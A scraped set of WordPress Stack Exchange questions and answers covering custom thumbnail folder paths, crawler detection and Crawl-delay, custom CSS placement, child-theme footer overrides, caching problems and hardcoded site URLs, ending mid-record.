$image_sizes = array(); //all sizes the default ones and the custom ones in one array\n foreach (get_intermediate_image_sizes() as $s) {\n $image_sizes[$s] = array('width' => '', 'height' => '', 'crop' => false);\n if (isset($_wp_additional_image_sizes[$s]['width'])) {\n // For theme-added sizes\n $image_sizes[$s]['width'] = intval($_wp_additional_image_sizes[$s]['width']);\n } else {\n // For default sizes set in options\n $image_sizes[$s]['width'] = get_option(\"{$s}_size_w\");\n }\n\n if (isset($_wp_additional_image_sizes[$s]['height'])) {\n // For theme-added sizes\n $image_sizes[$s]['height'] = intval($_wp_additional_image_sizes[$s]['height']);\n } else {\n // For default sizes set in options\n $image_sizes[$s]['height'] = get_option(\"{$s}_size_h\");\n }\n\n if (isset($_wp_additional_image_sizes[$s]['crop'])) {\n // For theme-added sizes\n $image_sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop'];\n } else {\n // For default sizes set in options\n $image_sizes[$s]['crop'] = get_option(\"{$s}_crop\");\n }\n }\n $slug_name = \"\"; //the slug name\n\n if($width >= $height){\n foreach ($image_sizes as $slug => $data) { //we start checking\n if ($data['width'] == $width) {//we use only width because regardless of the height, the width is the one used for resizing in all cases with crop 1 or 0\n $slug_name = $slug;\n }\n /*\n * There could be custom added image sizes that have the same width as one of the defaults so we also use height here\n * if there are several image sizes with the same width all of them will override the previous one leaving the last one, here we get also the last one\n * since is looping the entire list, the height is used as a max value for non-hard cropped sizes\n * */\n if ($data['width'] == $width && $data['height'] == $height) {\n $slug_name = $slug;\n }\n }\n }else{\n foreach ($image_sizes as $slug => $data) {\n if ($data['height'] == $height) {\n $slug_name = $slug;\n }\n if ($data['height'] == $height && $data['width'] == $width ) {\n $slug_name = $slug;\n }\n }\n }\n return $slug_name;\n }\n}\n</code></pre>\n\n<p>i know you already know almost all of this code, notice that the <code>generate_filename</code> function has been updated to the current one, you will be more interested in the <code>get_slug_by_size</code> function which is the key part that you were missing.\nThis is also working with custom image sizes, as can be seen here: </p>\n\n<p><a href=\"https://i.stack.imgur.com/lP8yN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lP8yN.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>home-bottom</code> is a image size i added. Right now wordpress has 4 different default image sizes:</p>\n\n<pre><code> Array\n (\n [thumbnail] => Array // Thumbnail (150 x 150 hard cropped)\n (\n [width] => 150\n [height] => 150\n [crop] => 1\n )\n\n [medium] => Array // Medium resolution (300 x 300 max height 300px)\n (\n [width] => 300\n [height] => 300\n [crop] => \n )\n\n [medium_large] => Array //Medium Large (added in WP 4.4) resolution (768 x 0 infinite height)\n (\n [width] => 768\n [height] => 0\n [crop] => \n )\n\n [large] => Array // Large resolution (1024 x 1024 max height 1024px)\n (\n [width] => 1024\n [height] => 1024\n [crop] => \n )\n\n )\n// Full resolution (original size uploaded) this one is not in the array.\n</code></pre>\n\n<p>if you upload an image of <code>width 310</code> only <code>thumbnail</code> and <code>medium</code> images would be created WordPress will not create bigger ones, so with the code above, only 2 folders will be created.</p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255462",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
]
| I’ve been writing some class and functions to modify the path of thumbnails. I extended the original `WP_Image_Editor` class to achieve custom structure.
**What i want:** to store the thumbnails in different folders based on their slugs, in the upload directory. such as : `http://example.com/uploads/medium/image.jpg`
**What i have already done:**
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
```
When i upload the image, the thumbnails are created properly, however the filenames are not. The `$slug` value is not passed from `multi_resize()` to generate\_filename.
I tried to write the `multi_resize()` function as below:
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
```
Now the `$slug` is passed to `generate_filename()` but the thumbnails are all generated in uploads folder, overwriting each other. How can i do this?
I'm clueless here, any help is appreciated. | Try adding this to functions.php:
```
add_filter("wp_image_editors", "my_wp_image_editors");
function my_wp_image_editors($editors) {
array_unshift($editors, "WP_Image_Editor_Custom");
return $editors;
}
// Include the existing classes first in order to extend them.
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode, we could have used the properties of $this->file[height] but the suffix could have been provided
$size_from_suffix = explode("x", $suffix);
//we get the slug_name for this dimension
$slug_name = $this->get_slug_by_size($size_from_suffix[0], $size_from_suffix[1]);
return trailingslashit($dir) . "{$slug_name}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
function get_slug_by_size($width, $height) {
// Make thumbnails and other intermediate sizes.
$_wp_additional_image_sizes = wp_get_additional_image_sizes();
$image_sizes = array(); //all sizes the default ones and the custom ones in one array
foreach (get_intermediate_image_sizes() as $s) {
$image_sizes[$s] = array('width' => '', 'height' => '', 'crop' => false);
if (isset($_wp_additional_image_sizes[$s]['width'])) {
// For theme-added sizes
$image_sizes[$s]['width'] = intval($_wp_additional_image_sizes[$s]['width']);
} else {
// For default sizes set in options
$image_sizes[$s]['width'] = get_option("{$s}_size_w");
}
if (isset($_wp_additional_image_sizes[$s]['height'])) {
// For theme-added sizes
$image_sizes[$s]['height'] = intval($_wp_additional_image_sizes[$s]['height']);
} else {
// For default sizes set in options
$image_sizes[$s]['height'] = get_option("{$s}_size_h");
}
if (isset($_wp_additional_image_sizes[$s]['crop'])) {
// For theme-added sizes
$image_sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop'];
} else {
// For default sizes set in options
$image_sizes[$s]['crop'] = get_option("{$s}_crop");
}
}
$slug_name = ""; //the slug name
if($width >= $height){
foreach ($image_sizes as $slug => $data) { //we start checking
if ($data['width'] == $width) {//we use only width because regardless of the height, the width is the one used for resizing in all cases with crop 1 or 0
$slug_name = $slug;
}
/*
* There could be custom added image sizes that have the same width as one of the defaults so we also use height here
* if there are several image sizes with the same width all of them will override the previous one leaving the last one, here we get also the last one
* since is looping the entire list, the height is used as a max value for non-hard cropped sizes
* */
if ($data['width'] == $width && $data['height'] == $height) {
$slug_name = $slug;
}
}
}else{
foreach ($image_sizes as $slug => $data) {
if ($data['height'] == $height) {
$slug_name = $slug;
}
if ($data['height'] == $height && $data['width'] == $width ) {
$slug_name = $slug;
}
}
}
return $slug_name;
}
}
```
i know you already know almost all of this code, notice that the `generate_filename` function has been updated to the current one, you will be more interested in the `get_slug_by_size` function which is the key part that you were missing.
This is also working with custom image sizes, as can be seen here:
[](https://i.stack.imgur.com/lP8yN.png)
`home-bottom` is a image size i added. Right now wordpress has 4 different default image sizes:
```
Array
(
[thumbnail] => Array // Thumbnail (150 x 150 hard cropped)
(
[width] => 150
[height] => 150
[crop] => 1
)
[medium] => Array // Medium resolution (300 x 300 max height 300px)
(
[width] => 300
[height] => 300
[crop] =>
)
[medium_large] => Array //Medium Large (added in WP 4.4) resolution (768 x 0 infinite height)
(
[width] => 768
[height] => 0
[crop] =>
)
[large] => Array // Large resolution (1024 x 1024 max height 1024px)
(
[width] => 1024
[height] => 1024
[crop] =>
)
)
// Full resolution (original size uploaded) this one is not in the array.
```
if you upload an image of `width 310` only `thumbnail` and `medium` images would be created WordPress will not create bigger ones, so with the code above, only 2 folders will be created. |
255,468 | <p>I just realized that crawlers like google are triggering massive activity from all add_action binded to 'init'.</p>
<p>Is this normal behaviour? Is it possible to trigger 'init' only for legit visitors?</p>
| [
{
"answer_id": 255469,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>Short answer to both your questions is : Yes.</p>\n\n<ul>\n<li>A google crawler bot is supposed to crawl every page of your website\nand index the contents. So when a crawler from google is accessing\nyour website, it is legit. If you simply want to exclude some of your pages\nfrom google, use the google webmasters console to do it.</li>\n<li>You can disable the <code>add_action</code> for crawlers. You need to get the\nuser agent, and then use a simple <code>if()</code> in your theme's\n<code>functions.php</code> to disable it for crawlers. There are plenty of guide on the internet that can help you do this.</li>\n</ul>\n\n<p><strong>Be warned !</strong> However, google does not like this AT ALL. When accessing your page, if google notices different behavior for crawlers and visitors from your website, it will possibly consider your website as spam. </p>\n\n<p>You may have noticed that there are 2 render outputs in <code>Fetch as google</code>, in the google webmasters console. One is the rendered output for visitors, one is rendered by google bot. These 2 must be as close as possible to each other. Even a simple missing CSS may result your website being rendered <em>Messy</em> to google bot, which over time google will consider your website's appearance as crap.</p>\n\n<p>Many websites try to fool the search engines by providing different output for visitors and crawlers. At least google does not appreciate this, and your website has the potential to be subjected to penalties from this action.</p>\n"
},
{
"answer_id": 255471,
"author": "Lucas Bustamante",
"author_id": 27278,
"author_profile": "https://wordpress.stackexchange.com/users/27278",
"pm_score": 1,
"selected": false,
"text": "<p>Just added this to functions.php:</p>\n\n<pre><code>// Returns TRUE if it's a crawler\nfunction check_is_crawler() {\n if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|wget|crawl|google|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {\n return true;\n } else {\n return false;\n }\n}\n</code></pre>\n\n<p>And I'm using it on critical functions to lower resource usage.</p>\n\n<p>Also, created a robots.txt with the following content:</p>\n\n<pre><code>User-agent: *\nCrawl-delay: 10\n</code></pre>\n\n<p>It puts a halt on crawlers, so they don't \"spam\" your website and consume all your resources</p>\n\n<blockquote>\n <p>Be warned ! However, google does not like this AT ALL. When accessing your page, if google notices different behavior for crawlers and visitors from your website, it will possibly consider your website as spam.</p>\n</blockquote>\n\n<p>Thanks for the tip @Jack Johansson, I'll use it only on internal functions. It's an ads website, and there's a lot of things going under the hood that don't output to the user.</p>\n"
},
{
"answer_id": 255475,
"author": "Marc-Antoine Parent",
"author_id": 110578,
"author_profile": "https://wordpress.stackexchange.com/users/110578",
"pm_score": 1,
"selected": false,
"text": "<p>If your website is consuming a lot of resources on each pageload, you should also look into a caching solution to help your pages load faster and reduce your overall server usage.</p>\n\n<p>If caching is not possible, using deferred Cronjobs (ie. not WordPress crons but good old server crons) would be a good thing, allowing your visitors to always have the data ready for them instead of having to wait for it to compile/refresh. </p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255468",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27278/"
]
| I just realized that crawlers like google are triggering massive activity from all add\_action binded to 'init'.
Is this normal behaviour? Is it possible to trigger 'init' only for legit visitors? | Just added this to functions.php:
```
// Returns TRUE if it's a crawler
function check_is_crawler() {
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|wget|crawl|google|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
return true;
} else {
return false;
}
}
```
And I'm using it on critical functions to lower resource usage.
Also, created a robots.txt with the following content:
```
User-agent: *
Crawl-delay: 10
```
It puts a halt on crawlers, so they don't "spam" your website and consume all your resources
>
> Be warned ! However, google does not like this AT ALL. When accessing your page, if google notices different behavior for crawlers and visitors from your website, it will possibly consider your website as spam.
>
>
>
Thanks for the tip @Jack Johansson, I'll use it only on internal functions. It's an ads website, and there's a lot of things going under the hood that don't output to the user. |
255,478 | <p>I would like to include some css to highlight some text in post</p>
<p>like</p>
<pre><code> <span class="highlight">mark word</span>
</code></pre>
<p>where should i define highlight so that i can use it.</p>
| [
{
"answer_id": 255479,
"author": "Marc-Antoine Parent",
"author_id": 110578,
"author_profile": "https://wordpress.stackexchange.com/users/110578",
"pm_score": 1,
"selected": false,
"text": "<p>The easiest way in most recent themes is to use the Custom CSS from the Theme Customizer. If it is enabled in your theme, you can access it through: <code>Appearance -> Customize</code>.</p>\n\n<p>If it's not enabled, you should first refer to your theme's documentation. Is it a free or bought theme?</p>\n"
},
{
"answer_id": 255480,
"author": "Saran",
"author_id": 25868,
"author_profile": "https://wordpress.stackexchange.com/users/25868",
"pm_score": 0,
"selected": false,
"text": "<p>Best way is to find child theme css file / Theme css file and add class to style.css.\nDirty way is follows ;). Add following code in function.php</p>\n\n<pre><code><?php\nadd_action('wp_footer','my_custom_css');\nfunction my_custom_css()\n {\n?>\n<style>\n.highlight{\n// styles goes here\n}\n</style>\n<?php\n }\n?>\n</code></pre>\n"
},
{
"answer_id": 255500,
"author": "Chris H. Aus LE",
"author_id": 112729,
"author_profile": "https://wordpress.stackexchange.com/users/112729",
"pm_score": 1,
"selected": false,
"text": "<p>Before starting to change code in your main theme, you should definately create a Wordpress Child Theme. That way, updates to your main theme will not overwrite changes you made to the theme files.</p>\n\n<p>Check this Wordpress tutorial on how to create a child theme:\n<a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Child_Themes</a> </p>\n\n<p>Basically, it breaks down to \n- create a folder for your child theme\n- in that folder, create a file \"style.css\"\n- in that file, you overwrite the parent style's CSS classes to style the output to your liking.</p>\n\n<p>Your style.css should start with the following code block:</p>\n\n<pre><code>/*\nTheme Name: Your child theme name\n Description: The description of your child theme\n Author: SEOmann.de\n Author URI: https://seomann.de\n Template: folder-name-of-your-parent-theme\n Version: 1.0\n Text Domain: folder-name-of-your-child-theme\n*/\n</code></pre>\n\n<p>And below that, you can define your classes to override parent classes:</p>\n\n<pre><code>span.highlight {\n color: green;\n}\n</code></pre>\n"
},
{
"answer_id": 255518,
"author": "Ashley C",
"author_id": 112750,
"author_profile": "https://wordpress.stackexchange.com/users/112750",
"pm_score": 1,
"selected": false,
"text": "<p>The easiest way if you're not that familiar with coding would be to add it to the custom CSS in Wordpress.</p>\n\n<p>This can either be done by going to Appearance > Customise > Additional CSS.</p>\n\n<p>Entertaining your styles in here 'should' override the theme styles your current theme is already using.</p>\n\n<p>Failing that, you can always try adding !important to override styles further, although these should be avoided where possible.</p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255478",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/68286/"
]
| I would like to include some css to highlight some text in post
like
```
<span class="highlight">mark word</span>
```
where should i define highlight so that i can use it. | The easiest way in most recent themes is to use the Custom CSS from the Theme Customizer. If it is enabled in your theme, you can access it through: `Appearance -> Customize`.
If it's not enabled, you should first refer to your theme's documentation. Is it a free or bought theme? |
255,502 | <p>I'm having a hard time trying to override my parent theme's <code>footer.php</code>, <code>footer-set.php</code> and <code>footer-tag.php</code> from my child theme.</p>
<p>I have just tried to copy-paste and modify them. No success. Maybe they are being read but probably later on, the ones from the parent prevail.</p>
<p>I have also tried to request them from the <code>functions.php</code> in the child theme with no luck: </p>
<pre><code><?php
function my_theme_enqueue_styles() {
$parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
/*include( get_stylesheet_directory() . '../footer.php' );
include( get_stylesheet_directory() . '../footer-set.php' );
include( get_stylesheet_directory() . '../footer-tag.php' ); */
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>
</code></pre>
<p>The child theme is active and it works. I know this because the style.css works - it has effect. Also if i write something wrong in the functions.php in the child folder, it would throw an error. So it parses the functions.php fom the child theme.</p>
<p>I presume I have to de-register the <code>footer.php</code> somewhere/somehow, but I have no idea where and how to.</p>
<p>This is my parent's theme structure, and these 3 are the files I am trying to override.</p>
<p><a href="https://i.stack.imgur.com/JCGro.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JCGro.jpg" alt="enter image description here"></a></p>
<p>And this is what i added in the child theme:</p>
<p><a href="https://i.stack.imgur.com/Y1p2s.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Y1p2s.jpg" alt="enter image description here"></a></p>
<p>As more info in case it would be useful, this is how the footer.php looks like:</p>
<pre><code><?php if ( tt_is_sidebar_active('footer_widget_area') ) { ?>
<section id="footer-widgets" class="clear">
<ul class="content-block xoxo">
<?php dynamic_sidebar('footer_widget_area'); ?>
</ul>
</section>
<?php } ?>
</section>
<?php global $template_url;?>
<footer id="footer">
<section class="content-block" style="margin-bottom:0;">
<p class="copyright left">&copy; <?php echo date('Y');?> Queen Latifah Weight Loss</a>
| Theme By <a href="http://allinonetheme.com" title="All In One Theme" rel="nofollow">All In One Theme</a></p>
<ul id="footer-nav" class="right">
<li><a href="<?php bloginfo('url');?>" title="Visit HomePage">Home</a></li>
<?php //About Us Page
$footer_item = get_option('tt_footer_about');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>">About</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Terms Of Service Page
$footer_item = get_option('tt_footer_tos');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Terms Of Service</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Privacy Policy Page
$footer_item = get_option('tt_footer_privacy');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Privacy Policy</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Contact Us Page
$footer_item = get_option('tt_footer_contact');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Contact</a></li>
<?php
}
unset($footer_item); unset($page);
?> <li><a href="http://www.queenlatifahweightloss.com/resources/" title="Resources" rel="nofollow">Resources</a></li>
</ul>
</section>
</footer>
<?php wp_footer();?>
</body>
</html>
</code></pre>
<p>I also have this in functions.php:</p>
<pre><code>//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
include('footer-tag.php');
} else if ($footer == 'set') {
include('footer-set.php');
} else if ($footer == 'custom' || $footer == 'no') {
include('footer.php');
}
}
</code></pre>
<p>At the end of index.php I have:</p>
<pre><code><?php tt_get_footer(); ?>
</code></pre>
| [
{
"answer_id": 255519,
"author": "Tom Withers",
"author_id": 85362,
"author_profile": "https://wordpress.stackexchange.com/users/85362",
"pm_score": 0,
"selected": false,
"text": "<p>Quickly looking over this as work...</p>\n\n<p>But add:</p>\n\n<pre><code><?php get_footer(); ?>\n</code></pre>\n\n<p>into your template files (This should be there... you may have to call the footer-set.php and footer-tag.php files too)</p>\n\n<p>you shouldn't need:</p>\n\n<pre><code>require_once get_stylesheet_directory() . '/footer.php';\nrequire_once get_stylesheet_directory() . '/footer-set.php';\nrequire_once get_stylesheet_directory() . '/footer-tag.php';\n</code></pre>\n\n<p>In your <code>Functions.php</code> too</p>\n\n<p>If this is incorrect ill help more when I'm home</p>\n"
},
{
"answer_id": 255522,
"author": "Umer Shoukat",
"author_id": 94940,
"author_profile": "https://wordpress.stackexchange.com/users/94940",
"pm_score": 0,
"selected": false,
"text": "<p>First of all you don't need to call footer files inside <code>functions.php</code> file. So remove these lines first.</p>\n\n<pre><code>require_once get_stylesheet_directory() . '/footer.php';\nrequire_once get_stylesheet_directory() . '/footer-set.php';\nrequire_once get_stylesheet_directory() . '/footer-tag.php';\n</code></pre>\n\n<p>As you said your child theme is working fine so let's debug why your footer.php file is not working.\nI don't know where you are calling <code>footer-set.php</code> and <code>footer-tag.php</code> I am assuming you need them inside <code>footer.php</code> file.\nFor debugging remove old files for now and create new file with the name of <code>footer.php</code> and leave it empty only closing <code>body</code> and <code>html</code> tags will be there.\nThen your footer should be empty on front-end try try these steps and then let me know what happens.</p>\n"
},
{
"answer_id": 280202,
"author": "Trac Nguyen",
"author_id": 128003,
"author_profile": "https://wordpress.stackexchange.com/users/128003",
"pm_score": 1,
"selected": false,
"text": "<p>My friend, just take a look at their codex here <a href=\"https://codex.wordpress.org/Function_Reference/get_footer\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/get_footer</a> and you will know how. In your case, no need to add these</p>\n\n<pre><code>require_once get_stylesheet_directory() . '/footer.php';\nrequire_once get_stylesheet_directory() . '/footer-set.php';\nrequire_once get_stylesheet_directory() . '/footer-tag.php';\n</code></pre>\n\n<p>You only need to repair your <code>tt_get_footer</code> like this</p>\n\n<pre><code>//Get Theme Specific Footer\nfunction tt_get_footer() {\n\n $footer = get_option('tt_footer_layout');\n\n if($footer == 'tag') {\n\n get_footer('tag');\n\n } else if ($footer == 'set') {\n\n get_footer('set');\n\n } else {\n\n get_footer(); // This one will use footer.php\n } \n}\n</code></pre>\n\n<p>Then you will get your child theme footer overriding</p>\n"
},
{
"answer_id": 283148,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>It seems like the theme do not use the wordpress \"theme agnostic\" template loading APIs, in this case <code>get_footer</code>, or any other flexible way, which means that the footer just can not be changed by a child theme.</p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255502",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112732/"
]
| I'm having a hard time trying to override my parent theme's `footer.php`, `footer-set.php` and `footer-tag.php` from my child theme.
I have just tried to copy-paste and modify them. No success. Maybe they are being read but probably later on, the ones from the parent prevail.
I have also tried to request them from the `functions.php` in the child theme with no luck:
```
<?php
function my_theme_enqueue_styles() {
$parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
/*include( get_stylesheet_directory() . '../footer.php' );
include( get_stylesheet_directory() . '../footer-set.php' );
include( get_stylesheet_directory() . '../footer-tag.php' ); */
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>
```
The child theme is active and it works. I know this because the style.css works - it has effect. Also if i write something wrong in the functions.php in the child folder, it would throw an error. So it parses the functions.php fom the child theme.
I presume I have to de-register the `footer.php` somewhere/somehow, but I have no idea where and how to.
This is my parent's theme structure, and these 3 are the files I am trying to override.
[](https://i.stack.imgur.com/JCGro.jpg)
And this is what i added in the child theme:
[](https://i.stack.imgur.com/Y1p2s.jpg)
As more info in case it would be useful, this is how the footer.php looks like:
```
<?php if ( tt_is_sidebar_active('footer_widget_area') ) { ?>
<section id="footer-widgets" class="clear">
<ul class="content-block xoxo">
<?php dynamic_sidebar('footer_widget_area'); ?>
</ul>
</section>
<?php } ?>
</section>
<?php global $template_url;?>
<footer id="footer">
<section class="content-block" style="margin-bottom:0;">
<p class="copyright left">© <?php echo date('Y');?> Queen Latifah Weight Loss</a>
| Theme By <a href="http://allinonetheme.com" title="All In One Theme" rel="nofollow">All In One Theme</a></p>
<ul id="footer-nav" class="right">
<li><a href="<?php bloginfo('url');?>" title="Visit HomePage">Home</a></li>
<?php //About Us Page
$footer_item = get_option('tt_footer_about');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>">About</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Terms Of Service Page
$footer_item = get_option('tt_footer_tos');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Terms Of Service</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Privacy Policy Page
$footer_item = get_option('tt_footer_privacy');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Privacy Policy</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Contact Us Page
$footer_item = get_option('tt_footer_contact');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Contact</a></li>
<?php
}
unset($footer_item); unset($page);
?> <li><a href="http://www.queenlatifahweightloss.com/resources/" title="Resources" rel="nofollow">Resources</a></li>
</ul>
</section>
</footer>
<?php wp_footer();?>
</body>
</html>
```
I also have this in functions.php:
```
//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
include('footer-tag.php');
} else if ($footer == 'set') {
include('footer-set.php');
} else if ($footer == 'custom' || $footer == 'no') {
include('footer.php');
}
}
```
At the end of index.php I have:
```
<?php tt_get_footer(); ?>
``` | My friend, just take a look at their codex here <https://codex.wordpress.org/Function_Reference/get_footer> and you will know how. In your case, no need to add these
```
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
```
You only need to repair your `tt_get_footer` like this
```
//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
get_footer('tag');
} else if ($footer == 'set') {
get_footer('set');
} else {
get_footer(); // This one will use footer.php
}
}
```
Then you will get your child theme footer overriding |
255,578 | <p>On my blog, for some reason, one of the category pages refuses to load new posts even when I clear all my caches. I'm using <code>WP Super Cache</code> (W3 Total Cache broke my site), <code>Autoptimize</code> and <code>Cloudflare</code> for caching.</p>
<p>I doubt the code is the problem since the other category pages are working just fine.</p>
<pre><code>$query= new WP_Query(array(
'offset' => 1,
'cat' => $cat_ID
));
if ( $query->have_posts() ) while ( $query->have_posts() ) : $query->the_post();
get_template_part('content', get_post_format()); // loaded from content.php
endwhile;
</code></pre>
<p>What could be the cause of this?</p>
| [
{
"answer_id": 255567,
"author": "Chapman Atwell",
"author_id": 101432,
"author_profile": "https://wordpress.stackexchange.com/users/101432",
"pm_score": 1,
"selected": false,
"text": "<p>One quick fix seems to be to simply hardcode the URL in the <code>wp-config.php</code> file. Following the <a href=\"https://codex.wordpress.org/Changing_The_Site_URL\" rel=\"nofollow noreferrer\">documentation in the Codex</a>, I added these two lines to the top of <code>wp-config.php</code></p>\n\n<pre><code>define('WP_HOME','https://192.168.0.0');\ndefine('WP_SITEURL','https://192.168.0.0');\n</code></pre>\n\n<p>Then, once the site is ready for release, I expect I can just update these as follows:</p>\n\n<pre><code>define('WP_HOME','https://foo.org');\ndefine('WP_SITEURL','https://foo.org');\n</code></pre>\n\n<p>Any unintended consequences to this approach that I should note?</p>\n"
},
{
"answer_id": 255570,
"author": "Samyer",
"author_id": 112788,
"author_profile": "https://wordpress.stackexchange.com/users/112788",
"pm_score": 2,
"selected": false,
